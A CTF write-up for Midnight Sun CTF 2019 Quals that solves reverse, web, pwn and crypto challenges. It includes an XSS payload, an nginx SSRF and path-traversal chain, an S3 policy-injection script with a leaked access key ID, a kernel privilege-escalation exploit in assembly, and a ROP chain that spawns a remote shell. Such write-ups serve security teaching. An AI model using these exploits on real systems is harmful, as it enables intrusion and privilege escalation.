Midnight Sun CTF 2019 Quals
Reverse
Hfs-mbr
- The mbr code is in dos.img
- Use IDA then you can reverse the code
- You can find a jump table and the offset based on your input character
- Only nine characters have some check operations and you can easily find out that it indicate the order of those characters.
- Finally, you will find the password
sojupwner - And the flag is
midnight{w0ah_Sh!t_jU5t_g0t_REALmode}
Hfs-vm
- First we can find out that at the beginning the process will fork.
- The parent process acts like syscall handler. For instance, it can call system('ls') or read flag1
- The child process is like a vm, it takes our input and execute it.
- After a while you can find that what you have to do is using syscall to read flag1 and print it out.
- At first, increase the length of stack. Then, call syscall
0x3to read flag1 to the shared memory buffer. In the end, call syscall0x1to print flag1 in the buffer. - The flag is
midnight{m3_h4bl0_vm}
Web
Marcozuckerbergo
- It should be easy to notice that the website uses mermaid library
- Try to search some XSS PoC for mermaid on website
- Then I got this https://github.com/benweet/stackedit/issues/1457
- So the payload will be
http://marcozuckerbergo-01.play.midnightsunctf.se:3002/markdown?input=graph%20LR%0aid1["<iframe%20src=javascript:alert(%271%27)></iframe>"] - And the flag is
midnight{1_gu3zz_7rust1ng_l1bs_d1dnt_w0rk_3ither:(}
Marcodowno
- This challenge filter and replace our input:
function markdown(text){
text = text.replace(/[<]/g, '')
.replace(/----/g,'<hr>')
.replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>')
.replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>')
.replace(/__([^_]+)__/g, '<b>$1</b>')
.replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>')
.replace(/\* ([^*]+)/g, '<li>$1</li>')
.replace(/##### ([^#\n]+)/g, '<h5>$1</h5>')
.replace(/#### ([^#\n]+)/g, '<h4>$1</h4>')
.replace(/### ([^#\n]+)/g, '<h3>$1</h3>')
.replace(/## ([^#\n]+)/g, '<h2>$1</h2>')
.replace(/# ([^#\n]+)/g, '<h1>$1</h1>')
.replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>')
.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')
.replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>')
.replace(/`([^`]+)`/g, '<code>$1</code>')
.replace(/```([^`]+)```/g, '<code>$1</code>')
.replace(/\n/g, "<br>");
return text;
}
window.onload=function(){
$("#markdown").text(input);
$("#rendered").html(markdown(input));
}
- Our goal is to pop
alert(1)on chrome environment. - We can close double quote of
<img>'saltattribute. - Payload:
midnight{wh0_n33ds_libs_wh3n_U_g0t_reg3x?}
Bigspin
- This challenge give us four link:
/admin/,/uberadmin/,/user/,/pleb//admin/=> 404/uberadmin/=> 403/user/=> 403/pleb/=> 200
- The content of
/pleb/is:
- same as
example.com
- Fuzzing it!
/pleb./=> 200/ple%62/=> 200/pleb=> 404/pleb:=> 500/pleb../=> 502/pleba/=> 502- ...
- So we can guess the proxy rule may look like:
/pleb[INPUT]=>example.com[INPUT]- Testing with DNS LOG:
/pleb.kaibro.tw - Received a request:
example.com.kaibro.tw
- Set
example.com.gg.kaibro.twto point127.0.0.1- Then we can visit
/pleb.gg.kaibro.tw/user/now. - There is only one file
nginx.c%C3%B6nf%20under/user/ - Double encode the filename and read it:
- Then we can visit
worker_processes 1;
user nobody nobody;
error_log /dev/stdout;
pid /tmp/nginx.pid;
events {
worker_connections 1024;
}
http {
# Set an array of temp and cache files options that otherwise defaults to
# restricted locations accessible only to root.
client_body_temp_path /tmp/client_body;
fastcgi_temp_path /tmp/fastcgi_temp;
proxy_temp_path /tmp/proxy_temp;
scgi_temp_path /tmp/scgi_temp;
uwsgi_temp_path /tmp/uwsgi_temp;
resolver 8.8.8.8 ipv6=off;
server {
listen 80;
location / {
root /var/www/html/public;
try_files $uri $uri/index.html $uri/ =404;
}
location /user {
allow 127.0.0.1;
deny all;
autoindex on;
root /var/www/html/;
}
location /admin {
internal;
autoindex on;
alias /var/www/html/admin/;
}
location /uberadmin {
allow 0.13.3.7;
deny all;
autoindex on;
alias /var/www/html/uberadmin/;
}
location ~ /pleb([/a-zA-Z0-9.:%]+) {
proxy_pass http://example.com$1;
}
access_log /dev/stdout;
error_log /dev/stdout;
}
}
/adminisinternal;- only allow internal requests
/uberadminonly allow IP0.13.3.7How to bypass these restrictions?
X-Accel-Redirectheader can bypass theinternalrestriction.- https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/
X-accel allows for internal redirection to a location determined by a header returned from a backend.
- Run a web server and send header with
proxy_passto bypass/adminrestriction:
#!/usr/bin/env python3
from flask import Flask, current_app, request, make_response
app = Flask(__name__)
@app.route('/')
def index():
response = make_response()
response.headers['X-Accel-Redirect'] = '/admin/flag.txt'
return response
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, threaded=True)
the content of
/admin/flag.txt:hmmm, should admins really get flags? seems like an uberadmin thing to me- so we need to bypass
/uberadmin
There is a Path Traversal vulnerability in the Nginx config:
/adminalias to/var/www/html/admin/- No trailing slash on
/admin - We can visit parent directory by
/admin../
location /admin {
internal;
autoindex on;
alias /var/www/html/admin/;
}
- Read
/admin../uberadmin/flag.txtmidnight{y0u_sp1n_m3_r1ght_r0und_b@by}
Cloudb
First, there is a hidden key in the form. Thus it uses Amazon S3 as backend:
<input type="hidden" name="AWSAccessKeyId" id="AWSAccessKeyId" value="AKIAJQSA73ND6ITM5ETQ">
And the user's information is saved at http://cloudb-01.play.midnightsunctf.se/userinfo/dw0fjw02@dw0fjw02.dw/info.json:
{"admin": false, "hmac": "925adf8ba3226f0f007bb64906c7dddd681cb49e7bc2545408cc6fb2624d0fce", "name": "dw0fjw02", "email": "dw0fjw02@dw0fjw02.dw"}
If we randomly type a email, the server will return a Amazon S3 bucket error message. It seems to reversely proxy the request.
$ curl http://cloudb-01.play.midnightsunctf.se/userinfo/notexist/info.json
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>AE1BE93D22D87D89</RequestId><HostId>2XyKdz5M+7hnK+Y7Bvl6J35ZoMjmrpSEux7C5jDGx+RuTUw4d/Q/4JfFzpHm69jfIYo4ZfFagoE=</HostId></Error>
So obviously, we have to somehow modify the JSON file in Amazon S3 to set "admin" true.
After logging in, we are able to change our profile pictures. The profile picture is directly saved in another Amazon S3 without the server proxying the request. This workflow is as follows
- Amazon HTTP POST API required a policy which specifies conditions that the request must meet.
- An XML HTTP request is sent to generate the policy and proper signatures (keys):
http://cloudb-01.play.midnightsunctf.se/signature?acl=public-read&hmac=.... - Note the hmac parameter has nothing to do with Amazon S3. The hmac is computed in client-side in
static/app.min.js. The hmac key is notcl0udb_Pr0d_Do_NOT_d1sclose. Instead, it's[object Object]. Not sure if it's intentional or not XD - Next, send POST request including the pictures and policy to S3 cucket:
https://cloudb-profilepics.s3.amazonaws.com/ - Then the profile picture is available at
http://cloudb-01.play.midnightsunctf.se/profilepics/awdawdaf@adwdaw.com.png
The policy is in JSON format:
{
'expiration': '2019-04-09T03:01:48.000Z',
'conditions': [
['content-length-range', 1, 10000], {'bucket': 'cloudb-profilepics'},
{'acl': 'public-read'},
['starts-with', '$key', 'profilepics/']
]
}
Since the condition contains starts-with, we cannot overwrite userinfo/[email]/info.json. However, the policy returned from the server is injectable. The GET parameter acl=puclic-read can be injected with quotes. Although S3 bucket will validate the JSON format, we can simply bypass its validation using capitalized words "Conditions". Therefore we can get rid of the annoying starts-with condition.
{
'expiration': '2019-04-09T03:16:49.000Z',
'conditions': [
['content-length-range', 1, 10000], {'bucket': 'cloudb-profilepics'},
{'acl': 'a'}
],
'conditions': [
{'acl': 'public-read'},
['starts-with', '$bucket', ''],
['starts-with', '$key', ''],
['starts-with', '$success_action_status', '']
],
'Conditions': [
{'a': 'a'},
['starts-with', '$key', 'profilepics/']
]
}
There are totally 3 conditions in the JSON policy:
- This one will be overwritten by the second one.
- S3 bucket will use this as the condition value.
- It will simply be ignored. I think S3 will only parse the lowercase
conditions.
The reason why using uppercase Conditions here is if we use an arbitrary word like foobar, S3 will return an error because it's an invalid key.
So we have a unrestricted policy and a totally controlable profile picture. We can overwrite the userinfo now! However, it seems like the userinfo is saved in another S3 bucket. What's worse, we even don't know the bucket name!
After some guessing, the bucket name turns out to be cloudb-users. Come on, it's not even cloudb-userinfo. I think the challenge is poorly-designed here. After overwriting the info.json we can login as admin and get the flag!
Here is the payload:
#!/usr/bin/env python3
import requests
import base64
import hashlib
import hmac
def hmak(x):
secret = b'[object Object]'
x = x.encode()
return hmac.new(secret, msg=x, digestmod=hashlib.sha256).hexdigest()
def b64d(x):
return base64.b64decode(x.encode()).decode()
s = requests.session()
mail = 'heaton@heaton.tw'
password = 'slowpoke'
hm = hmak(mail+password)
data = {
'key': (None, f'users/{mail}/info.json'),
'AWSAccessKeyId': (None, 'AKIAJQSA73ND6ITM5ETQ'),
# https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-HTTPPOSTForms.html
'success_action_status': 201,
# https://stackoverflow.com/a/15235866
'policy': None,
'signature': None,
'acl': (None, 'public-read'),
'file': ('a.png', b'{' + f'''
"admin": true, "hmac": "{hm}", "name": "heaton", "email": "{mail}"
'''.encode() + b'}'),
}
print(data)
acl = '''
a'}],
'conditions': [
{'acl': 'public-read'},
['starts-with', '$bucket', ''],
['starts-with', '$key', ''],
['starts-with', '$success_action_status', '']
],
'Conditions': [{'a': 'a
'''.replace('\n', '')
r = s.get('http://cloudb-01.play.midnightsunctf.se/signature', params={
'acl': acl,
'hmac': hmak(acl),
})
print(r.text)
policy, sig = r.text.split(':')
print(b64d(policy))
data['policy'] = (None, policy)
data['signature'] = (None, sig)
r = s.post('https://cloudb-users.s3.amazonaws.com/', files=data) #multipart/form-data
print(r.status_code) # 204 means success
print(r.text)
Flag: midnight{n3x7_t1m3_w3ll_d0_1t_Cl0udl3sslY}
Pwn
Hfsipc
Off-by-one byte overflow:
if ( buf[1] <= (unsigned __int64)(c->size + 1) )
{
if ( !copy_from_user(c->ptr, buf[2], buf[1]) )
{
r = 0LL;
printk(a6hfsIpcWroteZu, buf[1], (unsigned int)idx);
Default allocator of the Linux kernel - SLUB.
We can modify fd of kmalloc_caches[5] by Off-by-one byte overflow.
Create channel 2, buf of channel 2 will kmem_cache_alloc a kmalloc_caches[5] which is overlap with channel 1 structure, so that we can forge a fake channel structure to read/write everywhere in kernel.
Traverse circular linked list of tasks start from init_task, struct list_head tasks(offset 0x1d0) , overwrite task->real_cred(offset 0x3b8) task->cred(offset 0x3c0).
[BITS 64]
; nasm -f elf64 pwn.S -o pwn.o && ld pwn.o -o pwn
global _start
section .text
_start:
mov rdi, dev ; /dev/hfs
mov rsi, 2
mov rdx, 0
mov rax, 2
syscall ; open( "/dev/hfs" , O_RDWR , 0 ) = 3
mov qword [arg], 0 ; id
mov qword [arg+8], 0x20 ; size
call create
mov qword [arg], 1
mov qword [arg+8], 0x20
call create
mov qword [arg], 1
mov qword [arg+8], 0x21
mov qword [arg+0x10], pwn ; payload
call write
mov qword [arg], 3
mov qword [arg+8], 0x20
call create ; Overlap!
mov qword [i], 0
mov qword [base], 0xffffffff81a1b4c0 ; init_task
add qword [base], 0x1d0 ; init_task->tasks
; struct list_head tasks;
loop:
mov rbx, qword [base]
sub rbx, 0x1d0
add rbx, 0x3c0 ; &(p->cred) const struct cred __rcu *cred;
mov qword [fake + 8], rbx
call dump ; a = &(p->cred)
mov rbx, qword [a] ; rbx = p->cred
add rbx, 4
mov qword [fake + 8], rbx
mov qword [fake + 16], 0x20
mov qword [arg], 3
mov qword [arg+8], 0x20
mov qword [arg+0x10], fake ; fake obj
call write
mov qword [arg], 0 ; id
mov qword [arg+8], 0x20 ; size
mov qword [arg+16], cred ; overwrite p->cred + 4
call write
mov qword [fake + 16], 8
mov rbx, qword [base]
mov qword [fake + 8], rbx
call dump ; a = &(p->tasks.next)
mov rbx, qword [a]
mov qword [base], rbx ; [base] = p->tasks.next
add qword [i], 1
cmp qword [i], 25 ; make sure to traverse full circular linked list
jne loop
exit:
xor rdi, rdi
mov rax, 0x3c
syscall
dump:
mov qword [arg], 3 ; id
mov qword [arg+8], 0x20 ; size
mov qword [arg+0x10], fake ; fake obj
call write
mov qword [arg], 0 ; id
mov qword [arg+8], 8 ; size
mov qword [arg+16], a ; copy to a
call read
ret
set:
mov qword [arg], 3 ; id
mov qword [arg+8], 0x20 ; size
mov qword [arg+0x10], fake ; fake obj
call write
mov qword [arg], 0 ; id
mov qword [arg+8], 8 ; size
mov qword [arg+16], a ; copy from a
call write
ret
print_a:
mov rdi, 1
mov rsi, a
mov rdx, 9
mov rax, 1
syscall
ret
create:
mov rdi, 3
mov rsi, 0xABCD0001
mov rdx, arg
mov rax, 16
syscall
ret
delete:
mov rdi, 3
mov rsi, 0xABCD0002
mov rdx, arg
mov rax, 16
syscall
ret
read:
mov rdi, 3
mov rsi, 0xABCD0003
mov rdx, arg
mov rax, 16
syscall
ret
write:
mov rdi, 3
mov rsi, 0xABCD0004
mov rdx, arg
mov rax, 16
syscall
ret
section .data
pwn: db "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" , 0x40 , 0
fake: dq 0 , 0 , 8
arg: dq 0 , 0 , 0
cred: dq 0 , 0 , 0 , 0
a: dq 0 , 0xa
i: dq 0
base: dq 0 , 0xa
dev: db "/dev/hfs",0
Hfs-mbr
- When the input character is \x7f. The pointer of buffer move backward
- So we can use this vulnerability to overwrite the filename and function pointer then we can make it output flag2
from pwn import *
r=remote("hfs-os-01.play.midnightsunctf.se", 31337)
r.recvuntil("[HFS_MBR]>")
r.sendline("sojupwner")
r.recvuntil("[HFS-DOS]>")
r.send("\x7f"*3+"2"+"\x7f"*17+"O\x0d")
r.interactive() #midnight{th4t_was_n0t_4_buG_1t_is_a_fEatuR3}
Hfs-vm
- You can find out that there are some operations can let you do read and write on stack.
- So you can leak the libc's base address, text's base address and stack's base address. Also you can overwrite the return address and trigger your rop-chain. However the length of code is not enough, you may need stack migration.
- Unfortunately the child process is limited by
SECCOMP_MODE_STRICT. We cannot control child process to get shell. We need to compromise parent process. - There is a shared memory buffer between child process and parent process. We use this buffer to do some buffer overflow. We can use race condition. I found that syscall
0x4will trigger sleep. It give us the perfect timing to modify the content of shared buffer and trigger buffer overflow. - There is one more thing that stop us from getting shell: The parent process modify its canary. So we have leak the modified canary first, then just get the shell.
from pwn import *
import time
#r=gdb.debug("./hfs-vm",ggg)
#r=process("./hfs-vm")
poprdi=0x1e83
poprdx=0x101d
poprsi=0x198f
poprbp=0xe28
poprsp=0x1112
aaa=0x38
readd=0xca0
wwrr=0xc10
ssyscall=0x16b0
memcpy=0xcc0
sleeppp=0xD60
system=0xc60
def counttt():
global aaa
aaa+=1
return aaa-1
def movv(value):
return "\xa0\x20"+p32(value)[:2]
def loadss(base):
pre="\x80\x20"+p32(base)[:2]+"\xa8\x08\x00\x00"
return pre
def change(value,old):
sub="\xa2\x20"+p32(old)[:2]
add="\xa1\x20"+p32(value)[:2]
return sub+add
def subbb(vv):
sub="\xa2\x20"+p32(vv)[:2]
return sub
def writehere(base):
base="\x80\x20"+p32(base)[:2]
overwrite="\x87\x0a\x00\x00"
return base+overwrite
r=remote("hfs-vm-01.play.midnightsunctf.se", 4096)
payload=("\x00\x20\x00\x04\x20\x20\x04\x00\x40\x20\x00\x01"
+loadss(0x34)+change(poprsi,0xe6e)+writehere(0x34)
+loadss(0x48)+subbb(0x1000)+writehere(counttt())
+"\x0a\x00\x00\x00"
+loadss(0x49)+writehere(counttt())
+"\x0a\x00\x00\x00"
+loadss(0x4a)+writehere(counttt())
+"\x0a\x00\x00\x00"
+loadss(0x4b)+writehere(counttt())
+"\x0a\x00\x00\x00"
+loadss(0x34)+change(poprdx,poprsi)+writehere(counttt())
+"\x0a\x00\x00\x00"
+loadss(0x35)+writehere(counttt())
+"\x0a\x00\x00\x00"
+loadss(0x36)+writehere(counttt())
+"\x0a\x00\x00\x00"
+loadss(0x37)+writehere(counttt())
+"\x0a\x00\x00\x00"
+movv(128)+writehere(counttt())
+movv(0x0)+writehere(counttt())
+writehere(counttt())
+writehere(counttt())
+loadss(0x34)+change(poprdi,poprsi)+writehere(counttt())
+loadss(0x35)+writehere(counttt())
+loadss(0x36)+writehere(counttt())
+loadss(0x37)+writehere(counttt())
+movv(0x1)+writehere(counttt())
+movv(0x0)+writehere(counttt())
+writehere(counttt())
+writehere(counttt())
+loadss(0x34)+change(readd,poprsi)+writehere(counttt())
+loadss(0x35)+writehere(counttt())
+loadss(0x36)+writehere(counttt())
+loadss(0x37)+writehere(counttt())
+loadss(0x34)+change(poprsp,poprsi)+writehere(counttt())
+loadss(0x35)+writehere(counttt())
+loadss(0x36)+writehere(counttt())
+loadss(0x37)+writehere(counttt())
+loadss(0x38)+writehere(counttt())
+loadss(0x39)+writehere(counttt())
+loadss(0x3a)+writehere(counttt())
+loadss(0x3b)+writehere(counttt())
) # leak all the base address we need and do stack migration
r.sendline(str(len(payload)))
print len(payload)
#gdb.attach(r)
#raw_input()
r.send(payload)
text=0
stack=0
for i in range(4):
r.recvuntil("REG_05:")
a=r.recvline()
c=int(a,16)
#print hex(c)
stack+=c<<(16*i)
print hex(stack)
for i in range(4):
r.recvuntil("REG_05:")
a=r.recvline()
c=int(a,16)
#print hex(c)
text+=c<<(16*i)
text-=0x101d
print hex(text)
regadd=stack+0xe50
secondpay=(p64(text+poprdi)
+p64(1)
+p64(text+poprsi)
+p64(regadd)
+p64(text+poprdx)
+p64(60)
+p64(text+wwrr)
+p64(text+poprdi)
+p64(0)
+p64(text+poprsi)
+p64(stack-0x500)
+p64(text+poprdx)
+p64(656)
+p64(text+readd)
+p64(text+poprsp)
+p64(stack-0x500)
) # leak shared buffer address and do another stack migration
r.send(secondpay)
print len(secondpay)
r.recvuntil("========================================\n")
a=r.recv()
fd=u64(a[:8])
shared=u64(a[8:16])
print hex(fd)
print hex(shared)
haha=("\x48\x00"
+p64(0xdeadbeaf)*8)
fourpay=(haha
+"\x00\x01"
) #　The payload for leaking parent's canary
thirdpay=(p64(text+poprsi)
+p64(stack-0x1000)
+p64(text+poprdx)
+p64(len(fourpay))
+p64(text+readd)
+p64(text+poprdi)
+p64(shared)
+p64(text+poprsi)
+p64(stack-0x1000)
+p64(text+poprdx)
+p64(0x100)
+p64(text+memcpy)
+p64(text+poprdi)
+p64(fd)
+p64(text+poprsi)
+p64(regadd+0x11)
+p64(text+poprdx)
+p64(0x5)
+p64(text+wwrr)
+p64(text+poprdi)
+p64(0)
+p64(text+poprsi)
+p64(regadd+0x16)
+p64(text+poprdx)
+p64(0x2)
+p64(text+readd)
+p64(text+poprdi)
+p64(shared)
+p64(text+poprsi)
+p64(regadd+0x16)
+p64(text+poprdx)
+p64(0x2)
+p64(text+memcpy)
+p64(text+poprdi)
+p64(fd)
+p64(text+poprsi)
+p64(regadd+0x16)
+p64(text+poprdx)
+p64(0x5)
+p64(text+readd)
+p64(text+poprdi)
+p64(1)
+p64(text+poprsi)
+p64(shared+2)
+p64(text+poprdx)
+p64(0x100)
+p64(text+wwrr)
+p64(text+poprdi)
+p64(0)
+p64(text+poprsi)
+p64(shared)
+p64(text+poprdx)
+p64(144)
+p64(text+readd)
+p64(text+poprdi)
+p64(1)
+p64(text+poprsi)
+p64(shared)
+p64(text+poprdx)
+p64(0x100)
+p64(text+wwrr)
+p64(text+poprdi)
+p64(fd)
+p64(text+poprsi)
+p64(regadd+0x20)
+p64(text+poprdx)
+p64(0x5)
+p64(text+wwrr)
+p64(text+poprdi)
+p64(fd)
+p64(text+poprsi)
+p64(regadd+0x16)
+p64(text+poprdx)
+p64(0x5)
+p64(text+readd)
+p64(text+poprdi)
+p64(1)
+p64(text+poprsi)
+p64(shared)
+p64(text+poprdx)
+p64(0x100)
+p64(text+wwrr)
) # leak parent canary then get shell
print len(thirdpay)
fivepay="\x00\x01"
r.send(thirdpay)
r.send(fourpay)
time.sleep(1)
r.send(fivepay)
jj=r.recv()
canary=jj[0x48:0x48+8]
returnadd=jj[0x78:0x78+8]
print hex(u64(canary))
print hex(u64(returnadd))
finalpay=("/bin/sh\x00"+"\x00"*0x40
+canary+"a"*0x28
+p64(text+poprdi)
+p64(shared+2)
+p64(text+system)
) # The payload for getting shell
print len(finalpay)
r.send("\x90\x00"+finalpay)
r.interactive() #midnight{7h3re5_n0_I_iN_VM_bu7_iF_th3r3_w@s_1t_w0uld_b3_VIM}
Crypto
Pgp-com
First, extract private key, public keys, and three PGP messages from pgp-communication.txt. Try to decrypt the three PGP messages (passphrase: changemeNOW):
gpg --import private.txt
gpg --import public.txt
gpg --output dec1.txt --decrypt msg1.gpg
gpg --output dec2.txt --decrypt msg2.gpg
gpg --output dec3.txt --decrypt msg3.gpg
An error occurs when decrypting msg2.gpg. However, we get a hint from dec3.txt:
We have received some indications that our PGP implementation has problems with randomness.
Observe the session keys used in msg1.gpg and msg3.gpg
gpg --show-session-key -d msg1.gpg
gpg --show-session-key -d msg3.gpg
which are
gpg: session key: `9:0000000000000000000000000000000000000000000000000000000000001336'
gpg: session key: `9:0000000000000000000000000000000000000000000000000000000000001338'
And we can guess the session key used in msg2.gpg:
gpg --override-session-key 9:0000000000000000000000000000000000000000000000000000000000001337 -d msg2.gpg
Flag: midnight{sequential_session_is_bad_session}
EZDSA
k is generated from a urandom number u and our message m with:
k = pow(self.gen, u * bytes_to_long(m), self.q)
If m is the multiplicative order of Z*/qZ*, k will be one.
However, there's a assertion prevents us to send such m:
assert(bytes_to_long(m) % (self.q - 1) != 0)
Instead, we can let k be an element in a small subgroup of Z*/qZ*, so we can try all possible k.
Possible sizes of subgroup is the factor of the order:
2 * 3 * 11 * 53 * 10044829213 * 232139128489 * 102485294776585522175741
The smallest one is {1, -1}, if we send (q - 1) // 2 as m, k will always be 1 or -1.
Moreover, self.gen is not a generator of Z*/qZ*, k will always be 1.
Given a signature with k = 1, the key (i.e. flag) is (s - hash) / r.
Open-gyckel-krypto
Let
p = a * 10^250 + b
q = b * 10^250 + a
where a, b < 10^250
So:
pq = a * b * 10^500 + (a^2 + b^2) * 10^250 + a * b
Let
x = a * b % 10^250
y = a * b // 10^250
We can rewrite pq as:
pq = y * 10^750 + x * 10^500 + (a^2 + b^2) * 10^250 + y * 10^250 + x
Implies
pq % 10^250 = x
pq // 10^750 will in range [y, y+6]
Given a possible `y`, we can calculate (a^2 + b^2) and a * b to solve a and b.
Tulpan257
We have 107 evaluation results of a degree 26 polynomial. Some of them are wrong, and the probability of a result to be wrong is 0.4. If we random select 26 result, the probability of all selected result is correct is about 2e-6, which is very high. We can keep selecting different results, and reconstruct the polynomial.
To check whether we get the correct polynomial, just calculate those 107 evaluation results and check whether the error probability is close to 0.4.